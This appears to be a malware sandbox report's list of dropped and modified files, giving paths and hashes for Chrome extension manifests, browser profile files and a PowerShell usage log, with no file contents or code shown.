Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1670591323\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1770844920\manifest.json
Size 165B
SHA256 880b2b81f96f7ec0799e2939e82955327f65a8e4edadfdd89cfebb70d8fb6f2e
MD5 3ef32f0bc4059ed77b8df1ddc1bd32d6
SHA1 180f08a503c8145e50e715a1dbe202b491de0011
SHA512 036d08f722ca62b9f5a21d79d9d6d0585f7255ff736ce717f72aff31ef0e194adb3481da6c690be7306818947efcdf1e6745d0d14de0c32bd088a5f93415805b
TLSH
T1EEC080029400197419CE47150D5CF388A722D7152D80B0165BD7C218DC3DC8B68F3B4D
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1983268116\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_2067617518\manifest.json
Size 85B
SHA256 2d905d7b28b1afd313753d14f6a916a2e56ec4c1316bfa43046b09214ceb6090
MD5 8ce95626b39ebc2401eee0b34c24fc7c
SHA1 f97a2fefe756f7a03e388e1333573b884730c2b0
SHA512 f04e4f695977918adf6e0603386b6f9c75a4a2202b0fe7215b642f3db491a1db398039cc28633b8e2541749403581622d28c1400f3f8fc66a3daab200e27266d
TLSH
T106A0121018015DE318880320213143D2D3A51C05247437001106108019B8636027A22E
MD5 SHA1 SHA512 TLSH

Submit Download

Other

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Other
Size 34B
SHA256 2b4a47b82cbe70e34407c7df126a24007aff8b45d5716db384d27cc1f3b30707
MD5 cd0395742b85e2b669eaec1d5f15b65b
SHA1 43c81d1c62fc7ff94f9364639c9a46a0747d122e
SHA512 4df2ce734e2f7bc5f02bb7845ea801b57dcf649565dd94b1b71f578b453ba0a17c61ccee73e7cff8f23cdd6aa37e55be5cb15f4767ff88a9a06de3623604fbf0
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\manifest.json
Size 132B
SHA256 de864bf0ab8abacfba536d4e9764eca658f903bd2457f955e128c4ee181c7e58
MD5 c9209ab189a035569ba3c65d7375d220
SHA1 1987aaec8f436325415fe36c168c9a37829523f9
SHA512 60495e096f78de05c6025a9d7b69aef9dce0d08ec1abbd4ccba206827a8c25d8449f54f93637599649762ec09a034d32fc8afc06199b1b57cd010ff1a0c850c0
TLSH
T17FC092615802797A14DEB7F00D29CB926AB3CB2E18A4650546F5C228ED2DCDFB5B330B
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_250386479\manifest.json
Size 119B
SHA256 7169d86e87f904218238cd293e043e20b7828afad9acd1ff2e5d64188530b9d7
MD5 7382260298fc06c135b7c7399e9acff9
SHA1 6a829f795a3b8be25200675e00abfa1908fdefdf
SHA512 f0ce77f9f72fb6721bcfa9b03f77b0771e8217988183787c00dba4f9d9f19cdba252ddd656422336035f81939cb97c8b5dcb4f036a39280198c17cd04faaaed4
TLSH
T191B09273A800E83830E9EB91093A8243F320AB4BA585640A3625485C0B2B9F990606C4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_280596159\manifest.json
Size 135B
SHA256 cb929ae2d466e597ecc4f588ba22faf68f7cfc204b3986819c85ac608d6f82b5
MD5 4055ba4ebd5546fb6306d6a3151a236a
SHA1 609a989f14f8ee9ed9bffbd6ddba3214fd0d0109
SHA512 58d39f7ae0dafd067c6dba34c686506c1718112ad5af8a255eb9a7d6ec0edca318b557565f5914c5140eb9d1b6e2ffbb08c9d596f43e7a79fdb4ef95457bf29a
TLSH
T1CEC09223CC019CB119743B642AB2AB82F7B41B0B6869705A3AB3148C1F7E1B48082680
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_382182405\manifest.json
Size 238B
SHA256 1bdda4a8fc3e2b965fbb52c9b23a9a34871bc345abfb332a87ea878f4472efbd
MD5 15b69964f6f79654cbf54953aad0513f
SHA1 013fb9737790b034195cdeddaa620049484c53a7
SHA512 7eeee58e06bba59b1ef874436035202416079617b7953593abf6d9af42a55088ab37f45fdee394166344f0186c0cb7092f55ed201c213737bb5d5318e9f47908
TLSH
T178D0A727EC008DB611B207580AF5A742E3B1630F7C012509377308CC0F3D1744081285
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_418695624\manifest.json
Size 165B
SHA256 fc5dd0f6692cb24ec676b53527dabff28114c905dd08f72c97ac54a22c1bffae
MD5 1bfafb8c67c4ae6cf99faf6f1fcbe9e3
SHA1 77fc3483a895f1f429e6c6bb0f294a8fdc69dd08
SHA512 7237c88400ae032f4e745d8f0e5a869c29a76f0151b61ad2aed2ae1be7fd0b759d81c5e6b47535586533c0ab25291a25822174173f1bf6dbaab0298366aaea73
TLSH
T115C012229844793A12A183840A31CA82B2A0020B34E129023A79408C4F350749101619
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_542912369\LICENSE
Size 1KB
SHA256 3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b
MD5 ee002cb9e51bb8dfa89640a406a1090a
SHA1 49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2
SHA512 d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c
TLSH
T17D31535723840B9306DA2B4566AEBDC4B0DDC02D7F27AE05186EF394537B52ED8B3443
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_542912369\manifest.json
Size 78B
SHA256 c7e506687caffcf3906916ad3fc190a19212d67a2535479241096bd0d4418b03
MD5 259f068207f60fb9d4448c02c27b74ba
SHA1 99131d95cce94750a928738a99caa5c710bbc924
SHA512 fa41eac9d1ca244d06083e3d4230dd94700861155359722c1d815d0d9933dcd39c113b6f0f6ea02ff7ee1acd2fbc6ed40267d557afde16f417e80b678e8136bd
TLSH
T173A02230AC02E23320C803B002B083C383A02C02302A388C0B0320A232C823BE2F323C
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping1124_752224812\manifest.json
Size 177B
SHA256 096e772e0f2e8c15e6dec9087ee0a1fb8b0c56b25061626aedc9e7e705adfc2e
MD5 2714a51ed8c2a891ad73b7488ab655b9
SHA1 9a8cc479aec8de1b4eb678e5d68b23b16a39dc99
SHA512 4811522c06ad6946626a9f4d12eb62a1d623825d18a1cd0ad7b628f4c059f37d299b5857abffd959e4ea53239412490539f5705b4aa6c6951d13c68e6d5b72ad
TLSH
T1E6C012EFDC509DB215EB4323156D43C4E733CF4B1546490935FB66082A25981C193500
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 2679ea0b96f43ded4259ee6860a268fadb58a37d12e7d2bb1fd0c13e50b20120
MD5 f42ffac3aa00d0fe5495aafb0beced4f
SHA1 78479b52f7012c7895b67ab004df0bb519face0b
SHA512 83b673763dc4aef42b427349b50fccdd059330d16cc09a7d460474f06e0016f91fd5cecea8d298d5d6f7322c42a35b8c625f28454ed87a8ac200a2a0b955957d
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 aae41683e726e5bc39c9553dc3ef823941ef5ea6708d6ee807b5950a09ff8c92
MD5 9cd62c5e2065103cd3136523361c6061
SHA1 5b60e983dc36d76f4e6fc55d472b30ec955b8df0
SHA512 1a2d692c1b629df488a09dbaa7e76083c860d0cf8d4b323db95e82c67c531b0074abb26df227127e47f613a75c1bb20a8dd5b8124e0c65a686c23cae75f3408d
TLSH
T10BE02B65C861FC2729F91B19A4141746D764139B2B41994F7A3CC10C8FB5A364989C6C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 338553b5daf590dd63a9a0859d23ea889b5b1966d9a48d0e600782e0573212bd
MD5 b6d7752627aeac353731602baf564545
SHA1 3e8e351de9242aee28bf0a901cdd11a62f8b8697
SHA512 5b46e5d26f847d05fa4a7c37fc123a21c70d52d50b676a665c35efaa8a4c193b5cd49d4dd492bac09e9aef758a17f207ef9f998bc5dabf0ee8f8d9263b58fc08
TLSH
T1DDC08C0038C2C042CFC8997C2FE29CA89212083B282142236084DF888C231A07A89044
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 d1f9c2f501fc4f2210b738fe6702e771b4b90ff07c040cab0aa3007ee81162f3
MD5 363a33ca058a9c3f5e927f7916f80309
SHA1 7cb17032cb3d2fa92f1f48a6d34b99bcf3e77be0
SHA512 5ab4f066a273720c46058d457a43f7b0cceb5049cb168878a1d630ebce8088c6b6282541ae312b150ba1c9df7637a15cfa9a9363d8a1957dd52172d19183c031
TLSH
T1C65191F7C7F4867ECA1156F4AB156E1FCE690524032C3CA689E4AE1B53E28B1D15078F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 517B
SHA256 108bff32023f5be16de828e7d6969877b08950b989ef1423114f0dd85d0da4ad
MD5 18a0514f05b180fb35dfbcd57fe9b187
SHA1 f0d3d745c92e885af3f5b523d0ffd30fae10df47
SHA512 1252f4faf7fc1c68d22a6b06e21259bb1160d1eec2081e8f2166466bdb791c4f85dcdacc48425b2a9dd9953690ad2492bdc13cd465b9d8b00f2b9be1e4da4ad0
TLSH
T151F05077D2BE746710B945B75D057C0E55B6783102C25CE4CE6BD12FD0890A70F17893
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 2338ae63971a979cbece42fadec1b7db7f98b92e3d34af4ce47dbe60a663a5dc
MD5 b7afe1a24d4a38e38264b841a92a1a7d
SHA1 6b67ecbc67060d76a89d4d65999ffab86c86d886
SHA512 418feab1578d0e385af68390eabfb35888c9e66e7163f07ad4fdc3af736e9049eb62f58759678da0eb2d857245d6d842862ff1f38acfbbbe97b106360cda72da
SSDEEP 192:IRfLnOD4GJzvv7v70pAPRp2dUR9+Hsb+WNnAszK5YvkNQe42KCVyIsnAUgtaJ:IRfL0DgUXH8wHkY8Nq2KC8
TLSH
T18242D62EAE6039776CDED215FD617B17D7F6102621D51E80EAFC8A2C15EBACC221701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 2126a5134534aef91fa8099b04fecee78b52862c4fe314741f0990fa744beb00
MD5 d389de5b8137bbfe5d95b5df63b04d0f
SHA1 963a9de911f457ea2290fac767be55d0640e9a8f
SHA512 4d75ef2688576baf3f5d029af9789803630dc1f0d96f89232cedf02677b76bd0c64d6cc3de01b430bc5c17b778666777c7483b4c2b8edcf6372dac58bb6a28e8
SSDEEP 192:IR1L+OD4GJzvv7v70pAPRp2dUR9+Hsb+WNnAszK5Y9kNQe42KkVyIsnAUgraJ:IR1LPDgUXH8wHkYiNq2Kge
TLSH
T13652D62EAA50797B6CDED219FD517B17D7F6202221D51E40EAFC8E2C15EBACC221701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 f3cf349cf9037e8c5072a2c37b99af539c054df9c9608e61b17038a4634e3f43
MD5 363152cd1a3d43173705cceed0eb63b4
SHA1 72a271a3aaccf4beb53ed072e6c4f7e3ff0f61be
SHA512 c0f1613899b290d0f26e8bc843712c19ddee6ac9d5fb081930d59ee1c8c1ee21e8c169c02426fe80a1246f2efe0ca40b2306058894629e466329190bb0b2ebd8
SSDEEP 192:IR1LnOD4GJzvv7v70pAPRp2dUN9+Hsb+WNnAsza52jkNQe42KCVyIsnAUgtaJ:IR1L0DgUXH8wH82gNq2KC8
TLSH
T18042C62EAA6079776CDED215FD617B17D7F6102620951E80EAFC8A3C15EB6CC321B01B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 16KB
SHA256 4c42406bd80cff63d6f39c51149fab1e4524ab12b2e06272ccff8b39e3717a99
MD5 e3d98d1158b0268b204620763bdd3161
SHA1 e1c7376afb0e8f648d30a169d7d195b295c98c04
SHA512 2b3b129c9c6c953b2f5b740c76012442cff2192655607841d56d57687f3b3e33bfce1c06b8671b5e9e8e27db5885b3fa79021eee98a2e1bfc35cd42825355431
SSDEEP 384:W4jyR7KxkXqKf/pUZNCgVLH2Hfgsl/97pLuLcMIpXODyJ+ErU3MrHGRxCJZM:WMyR7KxkXqKf/pUZNCgVLH2HfgsR97pq
TLSH
T1D572FA676C488E7B0F94C6CCD8267B4FADF5024B65E9C86452FA582903D5BCB11052FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 bbd98a37460a0af6797ea2424e52b4223b6dc7c4685a79847b635b74f820f522
MD5 26d17449ebdf8bbbb8a9891e19778122
SHA1 402c9888f6e3018314cb80c0023aae5e3cc297d2
SHA512 f7cd9c7bbbaf98b994506cf0be0624799bb3656e294927a3dd14f414f8de4bcf83ca894fbbec4e598b5684fe31b518352d91a6cc3e5c09b20582d44efd3a3227
TLSH
T1EDB01204C8415101C04342F423C62488B1286F10DE0A370543E06D26C8A91638014151
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 5d190f2bed2bb7c6645e49649abd838d9abb130f6b302aa4a401a3d4b2991ef8
MD5 608f2379a819b9d78560f489f55a1239
SHA1 e5ea65cb88518fa5542fd20962d7a5f1c7034416
SHA512 edc0ba5fb479e28dc31918498e6b1185b91cdf5c94d9ec64fa18c0d356569ed61413c1af209bfe7acf35d053bd718b22b12af57db8f3800f9faa1d439075ab97
TLSH
T191B01211C0C1D112C04503B81E94848C3224FF10E703031372F83702DC356600D14289
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe587ccc.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe587ccc.TMP
Size 96B
SHA256 d304d69d60107678308f9d58c5767e1d1b4eca6064bae10f3443c114f466913c
MD5 8e9cdcadf336ea488e3f7412bcab7c70
SHA1 11f08f584b39bec414fa3cb9d4099ff09358979f
SHA512 c0c9aea2906d66d0ec8f217c40cf61fed415f6f6c84b733a7aae0ee0e709175b6f6d6127ac7402eafbb5c544ac2f41547a330fc6d98ae62c10b39452209afe8e
TLSH
T170B02203C003AA22C00203B023A8E0E8BAA0CF22C2032303B3E00A22CC383300C20030
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 f295f423917001a91be08dc7008f9b5a06327d0eacb676a6e278332ed13f948e
MD5 dd4e52efa358922f795c4044aa344ff8
SHA1 0a541f3640b1bfdd06577f44e2e2f310c69eefe1
SHA512 7d72cd971df168362bab6036e4fc5f823bb8bab0c8f01419e91650eb533dc1ef81d458680304266e4655978b65a7ecfa6142de1575c3e7414b821cc2cdb7201e
SSDEEP 1536:dRiqyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbJ:HPqfd7NtZL8cHQRZEQ6SpsS
TLSH
T170C30237ABC21E339ED3CB64B9130FD797B644A99034D301AAAD3BEB6883595644249C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 11d6c33fe0a7837bd51eb009c303ae55c33cfce7bc595e0305121b839caeea4c
MD5 1287837f5cadb142172093e6ebd71708
SHA1 022058488bf6ac832aba96b746160f17baaa03db
SHA512 91b780e96475e57bf0bb4f00c137b97721751b62df709d3c2bf87169bd2568d587dd9337a851e1ecd3f955d9f915a1a146beda7d1a6258d56e340aaab027817d
SSDEEP 1536:b5LyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbjY:jqfd7NtZL8cHQRZEQ6Sps3
TLSH
T17CC30237ABC21F339D93CB64B9130FDA67B644A99034D301AAAD37FB7C93591644249C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 3cc8693818eaffd3bcb7fc3b9a32fdec78f50154c72509dd7a2969fe0db571f2
MD5 53c802fa032f87f7c778f9b87f7ed86e
SHA1 32f84f191a513e604a3ae40555f4deaaa4d506cc
SHA512 b5deb854c68f27d8876176697a6c5e9caea59fd371dda003f240fca3cba9c509b07594b68ef9e369989c446f8c1b53c6d2aa80e7f71e4b5c2a3c50adfa3887e2
SSDEEP 1536:dViqyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICbJ:/Pqfd7NtZL8cHQRZEQ6SpsS
TLSH
T136C30237ABC21E339ED3CB64B9130FD797B644A99034D301ABAD3BEB6883595644249C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 240KB
SHA256 361a22f4bdd8fc37e80a4bdec1880364b108ba618cb2a4abf9ed6a7def29dd47
MD5 b8f09383f6d4dd18bb7a889f685713d4
SHA1 018f2834889e8afafdcd26f9a77da40eaffc46a0
SHA512 b1498492dbc7b2b3dd21e96bf95ccc95b194ca645e340b29a6456701e98dae9576bbf7cdd994f499c9cd8e64032e6cb9f41b071fa6fb142e2e5ffecd039b1028
SSDEEP 3072:cLycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKfqfd7NtZL8cHQRZEQ6Spsb:U461bZ9wg20MtriHc2uqZ/ZLW3Exb
TLSH
T12B341272ABD55E321FC4C778BB630D423BF684DB902CA255A7EF73BB6C819A50441C89
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 241KB
SHA256 980098da89f0889ed0eb6cba85dbd96a6f55801d3339cdf4b547ffc8fd90ea9b
MD5 40bf6a9fe1b485b293ea155695dc3801
SHA1 8de21a93f25b3e006858663337cab50da5100f7d
SHA512 524f41ebfac10cdb2d6e1b4d971723a8f3519ae7d7341441e44725d7a4602934b2f71dee5558b71b4be52bf9702c16b3aa8a735b3ab7d52dffda49d8e459bac7
SSDEEP 3072:2Jycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKfqfd7NtZL8cHQRZEQ6Spsb:2b461bZ9wg20MtriHc2uqZ/ZLW3Exb
TLSH
T104341373ABD55E321FC4C764BB631D413FF6C4DB942CA249AAAA73B76C819650841CC8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 241KB
SHA256 83d6dab6c0b4902739ac09c5cbd2771084c6dc772d7a03a3d972800f6962a154
MD5 261bf4ab36cfd6e361b5bc4d4eaf6a6c
SHA1 b4cc5433354bc2de1664e218643ec37bab86169f
SHA512 e53c4aa1e8582db0db435ff5c28da0c38aefee68e73bc171fad175a48a1d153f09e1dbf3195ccdf0bc4095865345ee14e10ff14e37e61c64e452a1506abdcb2c
SSDEEP 3072:GJycp4hk1OXqZ98w8g285FdvvhM++w6rgPHckxTKfqfd7NtZL8cHQRZEQ6Spsb:Gb461bZ9wg20MtriHc2uqZ/ZLW3Exb
TLSH
T1B1341373ABD55E321FC4C768BB630D413FF6C4DB942CA249AAAE73B76C819650841CC8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 acf2ca2fd979c7d8ae7b74bb0af4308e4abd3e42e1f32fd1a04b0ca1a2b166c8
MD5 80eaf72bc0ff9c89a5c23f07f38ee8f5
SHA1 cbf109666417a1db022b3f49a91481b9755a1b8e
SHA512 b21d0ebff096128eae96a603cc0e96af95cbca34e613c40faa0cc8c5c17961106d997b66011c3051ead599494bd80939479f2526a2e65ff25600b04b19065afd
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7T:fwUQC5VwBIiElEd2K57P7T
TLSH
T15EB3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

autofill_bypass_cache_forms.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\autofill_bypass_cache_forms.json
Size 161B
SHA256 f7510e38f81f8a84027304070205dd55127e3233fdf011411465ede67b5b5d92
MD5 4b1a79b1996f03fb926a97912835c881
SHA1 ca43e23f7bbb4ff3839751f722df3c38ef7bd8a7
SHA512 c2e07a1b311ab71d94c7b874d645fe1114fdccfe4468875d6b23318fbe327481a60b2782af105b7546b3c1e6c3a7ec67261b21a0587f914cc7bf77c55f1f568e
TLSH
T1E5C08C07ABB804230B414E0B590DEFC9990476F6D5C146FEAB75A5A98A3C6B0005B74A
MD5 SHA1 SHA512 TLSH

Submit Download

edge_autofill_global_block_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\edge_autofill_global_block_list.json
Size 6KB
SHA256 7d3c45c8207ba69066516e51e10a2137bc4f1fce070a692e0c65225f9856e04c
MD5 5d4464dabc1289c3a010e14c05b92c57
SHA1 d2d185faca1cd13a6d42dea68803a9941074707d
SHA512 f93f4b58efc0127946ffa1b2950a1cf71da6f77a6ab4cf98ad8ada6a751d6261be4818ff8c64fe1f1d45467aa070e0823d15be36c8259c1044fb2d1289df9994
SSDEEP 192:C73stL7O9FnLk25+tF4B8K5b+QiGoztWuDpR6lFuftdHAa4/i:nwJ2r
TLSH
T133D16A2BA91C54B32A044839128E5BE47DDD73B6DD6008D6D650C0B9AEDFCB8203FDA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v1FieldTypes.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.32\v1FieldTypes.json
Size 509KB
SHA256 611e7995ab7599a0c89f98d6c6152a42aaedf7449748109a465bb5b0badd0af2
MD5 b1c140ef49f01eea089d3957da1a529f
SHA1 de64781f20aac98b4d2bbc497e3defa83b25aa8f
SHA512 02ddfcbaf9eaff793f251bd983394cf473b1340182ac1f3217cb7258ddfbd2de066ab08af16b47a378644bcc1871ad6ed8c641f6a053802c90e77f648e4f4be8
SSDEEP 1536:jlKS/dYt+dtxX9U2/W++dGcUooTHR6rF1azQmkEMUmxralqDAtyttVJAC5c8KrVx:B
TLSH
T148B48E2BF9F25C634D822A32053E18996A30615F5CEC6CD4BB3E211F4F2C1791E797A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

crl-set

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2025.9.4\crl-set
Size 22KB
SHA256 6ddcaf50aaff98b960d067054ce2ce17872ac0719d02abbb7fe56b9eabc818f2
MD5 d01869348d5a783f61f90cbb27b82a78
SHA1 d4eccc91435adaf01f8589cf7f3589cf65425de2
SHA512 7ad7f27d1f559d1f50f1f009518ccca5d6d01696cd70657ad94c9fe37db7bbe06e4afc13170bc5c065cf72d69a92c3df78f637b7faa2f968bb89aa154fe371da
SSDEEP 384:2t71+UygzeWhU6yVS2Ddc0fp/9yYoIJgWUeJuDzeG0LOsr2h9ltQYX9hVPz/HG1y:m4OBwVPDdFhVyYoPWUiuXeG0K5dQYXFr
TLSH
T1B8A2BE9FAF48F112E211523D94245F40DD24D54A23996AB74F943F30ADAE42AAF3CC7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 85da5d101c008762046da9670ca95944217bbb1829e60a748f367ee4f9926b13
MD5 ef105d8d3e87a813544857290c28833d
SHA1 bfe7010cf80fb8cbcb9eeb5e0d0b551ece0b3134
SHA512 ae71c302652e2de890fca25723381f403f4f9ee51e2da6583977318de3e7ff00defb73b202e17a287def3ff618de86c0af96c0fca7729ef3efe0a4ba3cfdfc63
TLSH
T16FD0803377C9A100F6567375F413C7412F27057415868613A168C45CDC784C557C92C7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 98eae6fcc56d922689f3a45ab65635857e6510c437555d4eae3a6cd68dff3acb
MD5 338a3c92e96cad1510815c958fc76de7
SHA1 e1234ace09aad728f9bde0798e2fb22ee82583de
SHA512 e29c9087bb4c9c94c8525a95c307117f14827336de29aa01f837bd02b05b3aecd1c1771970519a60972a1495e05b4f68ab34cf5e4ec9d7060f6383ac019c2ed7
TLSH
T17DD0803337C9A500F6567375F412C7412F2705741586C713A168C45CDC794C557C92C7
